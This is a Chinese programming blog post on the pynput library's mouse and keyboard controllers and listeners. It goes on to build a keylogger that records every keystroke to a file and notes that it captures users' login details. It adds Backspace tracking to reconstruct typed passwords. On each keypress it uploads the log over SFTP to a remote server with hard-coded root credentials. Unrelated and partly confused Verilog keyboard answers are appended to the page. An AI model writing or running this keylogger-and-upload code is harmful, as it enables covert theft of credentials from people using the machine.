python-pynput库用法 及 简单实现记录键盘

pynput软件包说明文档

控制及监听鼠标

#测试pynput第三方库
#控制鼠标
import time

from pynput.mouse import Button,Controller   #导入控制鼠标模块

#创建控制器对象
mouse = Controller()
'''
#position属性返回一个元组(指针位置)
#time.sleep(2)
print("当前指针位置:{}".format(mouse.position))

#设置指针位置(元组)
mouse.position = (60,60)

#将鼠标从当前位置移动,俩个参数dx(水平偏移量)、dy(垂直偏移量)
mouse.move(600,600)
mouse.move(50,-50)
print("当前S指针位置:{}".format(mouse.position))

#由Button模块控制鼠标左右键,中键滚动
#按下左键并释放左键
#time.sleep(2)
mouse.press(Button.left)
mouse.release(Button.left)

#双击左键
mouse.click(Button.left,2) # 两个参数第一个参数为Button(鼠标的按键)第二个参数为int类型(点击的次数)

#向上滚动俩步
mouse.scroll(0,2)
time.sleep(2)
#向右上方滚动一步
mouse.scroll(1,1)#分别是控制水平和垂直方向 正数是向右向上 反之向右向下
'''


from pynput.mouse import Listener,Button   #导入监听鼠标模块
#监听鼠标包括移动事件、鼠标按键、滚轮事件、

def on_move(x,y):
    #on_move(x,y)是鼠标移动时回调的函数两个参数x,y描述的是鼠标的位置
    #print('鼠标移动到的位置{0}'.format((x,y)))
    pass
def on_click(x,y,button,pressed):
    # 四个参数x,y,button,pressed。
    # x,y描述的是鼠标点击的位置
    # button是鼠标的按键,值有三种Button.left(左键)、Button.right(右键)、Button.middle(中键)
    # 注意鼠标button使用按下一次会有两次反馈(按下和松开)。想要使用一次可以把一个if pressed:语句放在它的外层
    # pressed的值是bool类型是鼠标按键的按下时是True,松开时为False。
    if button == Button.left:
        print('{0}位置{1}'.format('鼠标左键按下'if pressed else '鼠标左键松开',(x, y)))
    elif button == Button.right:
        print('{0}位置{1}'.format('鼠标右键按下'if pressed else '鼠标右键松开',(x, y)))
    elif button == Button.middle:  # 停止监听
        return False
def on_scroll(x,y,dx,dy):
    # 滑轮滚动事件
    # x,y指针位置
    # dx,dy滚轮的动作方向
    print('当前指针位置 {0}'.format((x, y)))
    i = ''
    if dx<0:
        i = '左'
    elif dx>0:
        i = '右' 
    else:
        i = ''
    print("滚动方向:{}{}".format(i,'下'if dy<0 else '上'))

#收集事件,直到停止(监听)
with Listener(on_move=on_move,on_click=on_click,on_scroll=on_scroll) as listener:
    listener.join()

控制及监听键盘

#控制键盘 按压释放、键入字符串、按下组合键
'''
from pynput.keyboard import Key,Controller
#注意这里Key中的k要大写
keyboard = Controller()

#按压和释放空格
keyboard.press(Key.space)
keyboard.release(Key.space)

#按压键盘中的a键
keyboard.press('a')
keyboard.release('a')

#键入 hellow world
keyboard.type('hellow world')

#在按下ctrl的同时按下a
with keyboard.pressed(Key.ctrl):
    keyboard.press('a')
    keyboard.release('a')
'''

#监控键盘
from pynput.keyboard import Key,Listener

#按下键盘
def on_press(key):
    print("按下{}".format(key))
    
#松开键盘
def on_release(key):
    print("松开{}".format(key))
    if key == Key.esc:
        #esc键退出监听
        return False

with Listener(on_press=on_press,on_release=on_release) as Listener:
    Listener.join()

简单实现记录键盘

#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):
    pass
#松开键盘
def on_release(key):
    flag = str(key).replace("'","")
    print(flag)
    with open('D:\\key.txt','a') as f:
        f.write(flag+'\n')

with Listener(on_press=on_press,on_release=on_release) as Listener:
    Listener.join()

在脚本运行状态下,用户的登录信息都将被记录。
由此得出结论:陌生WiFI不要随便连,陌生电脑不要随便用。。。

由于删除账号密码时可以长按Backspace删除多个字符,因在按下键盘时加以操作,改进如下:

from upload import upload
#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):
    string1 = str(key).replace("'",'')
    if string1 == 'Key.backspace':
        print('del')
        with open('D:\\key.txt','a') as f:
            f.write('del'+'\n')
#松开键盘
def on_release(key):
    flag = str(key).replace("'","")
    print(flag)
    with open('D:\\key.txt','a') as f:
        f.write(flag+'\n')
        upload()

with Listener(on_press=on_press,on_release=on_release) as Listener:
    Listener.join()
    #相当于开启了一个线程,因为Listener这个类继承自threading.Thread。
    #所以我们调用listener.join()相当于就阻塞在这里了

并使用paramiko模块实现上传文件至服务器

import time
def upload():
    #延时5s上传一次
    #print('qwe')
    #time.sleep(5)
    import paramiko
    #实例化SSHClient
    client = paramiko.SSHClient()
    #自动添加策略,保存服务器的主机名和秘钥信息,如果不添加,那么不再本地Know_hosts文件中记录的主机将无法连接
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    #连接SSH服务器,以用户名和密码进行认证
    client.connect(hostname='192.168.58.131',port='22',username='root',password='root')
    # 利用SSHClient对象的open_sftp()方法,可以直接返回一个基于当前连接的sftp对象,可以进行文件的上传等操作.
    sftp = client.open_sftp()
    # 设置上传的本地/远程文件路径
    localpath = "D://key.txt"
    remotepath = "/home/tmp/1.txt"
    # 执行上传动作
    sftp.put(localpath, remotepath)
    # 执行下载动作
    #sftp.get(remotepath, localpath)
    #关闭SSHClient
    client.close()

20210412_174031.mov

在这里插入图片描述

  • 0
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
### 回答1: 以下是一个简单的Verilog代码,用于检测PS/2键盘按键输入: ``` module PS2_keyboard ( input clk, input data, output reg [7:0] key_out ); reg [7:0] key_buffer; reg [3:0] bit_count; reg parity, stop; parameter IDLE = 1'b1; parameter WAITING = 1'b0; reg state = IDLE; always @(posedge clk) begin case(state) IDLE: begin if(!data) begin bit_count <= 0; key_buffer <= 0; parity <= 0; stop <= 0; state <= WAITING; end end WAITING: begin bit_count <= bit_count + 1; key_buffer[bit_count] <= data; parity <= parity ^ data; if(bit_count == 8) begin stop <= data; state <= IDLE; if(!parity && !stop) begin key_out <= key_buffer; end end end endcase end endmodule ``` 该模块有三个输入和一个输出。 输入: - `clk`:时钟信号 - `data`:从键盘输入的数据 - `key_out`:输出键盘按键的ASCII码 输出: - `key_out`:输出键盘按键的ASCII码 该模块使用状态机来解析PS/2协议,并将按键值存储在`key_out`寄存器中。请注意,此代码没有包含任何读取键盘状态的功能。 ### 回答2: 以下是一个使用Verilog代码实现键盘输入模块的示例: 模块中定义了一个4x4的矩阵按键阵列,每个按键都与一个唯一的二进制编码相关联。我使用了行选通(Row Select)和列检测(Column Detect)的原理来实现键盘输入模块。 首先,我定义了4个输出信号`row_select`(行选通信号)和4个输入信号`column_detect`(列检测信号),它们分别用于选择按键所在的行和检测按键是否按下。同时,我还定义了一个输出信号`key_pressed`(键是否按下的信号)。 在模块中,我使用二进制编码来表示按键。在行选通部分,我使用一个4位的计数器循环扫描每一行,将对应行的`row_select`信号设置为逻辑高电平,其余行则为逻辑低电平。 在列检测部分,我通过与操作符将`row_select`信号和`column_detect`信号进行连接,并赋值给`key_pressed`信号。这样,只有当按下某个按键时,`key_pressed`信号才会被设置为逻辑高电平,否则为逻辑低电平。 最后,我通过一个always块来控制按键输入模块的工作。在该块中,我使用非阻塞赋值语句`<=`来更新信号的值,并使用延迟`#`来模拟按键的响应时间。 以上就是一个简单的使用Verilog代码实现键盘输入模块示例,希望对你有所帮助! ### 回答3: Verilog是一种硬件描述语言,用于设计和验证数字电路。在这种情况下,如果要编写用于接收键盘输入的Verilog代码,可能需要以下步骤: 1. 首先,需要引入一些输入输出端口。假设我们使用一个4x4矩阵键盘,其中有16个按键。那么我们需要定义一个输入端口来接收键盘按键的扫描码,并定义一个输出端口来输出按下的键。 2. 接下来,我们需要设计一个模块来处理键盘输入。这个模块可以包含多个子模块,用于扫描键盘、解码键盘的输入并将其输出。 3. 在设计键盘扫描模块时,我们可以使用时间分频器来控制扫描的频率。这样,我们可以定期扫描键盘以检测按键的状态。 4. 在键盘扫描模块中,需要使用一个状态机来处理按键的扫描。通过设置合适的状态转换,我们可以识别按键按下和释放。 5. 当识别到按键按下时,键盘扫描模块应该将扫描码传递给解码模块。解码模块可以将扫描码转换为对应的键值。 6. 最后,我们可以在需要的地方使用解码模块输出的键值。 需要注意的是,以上只是一个基本的框架,具体的Verilog代码会根据实际需要进行调整和扩展。此外,实际的键盘接口和输入处理逻辑也可能因硬件平台的不同而有所变化。因此,在编写Verilog代码之前,需要详细了解所使用的硬件平台和键盘接口的规格。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值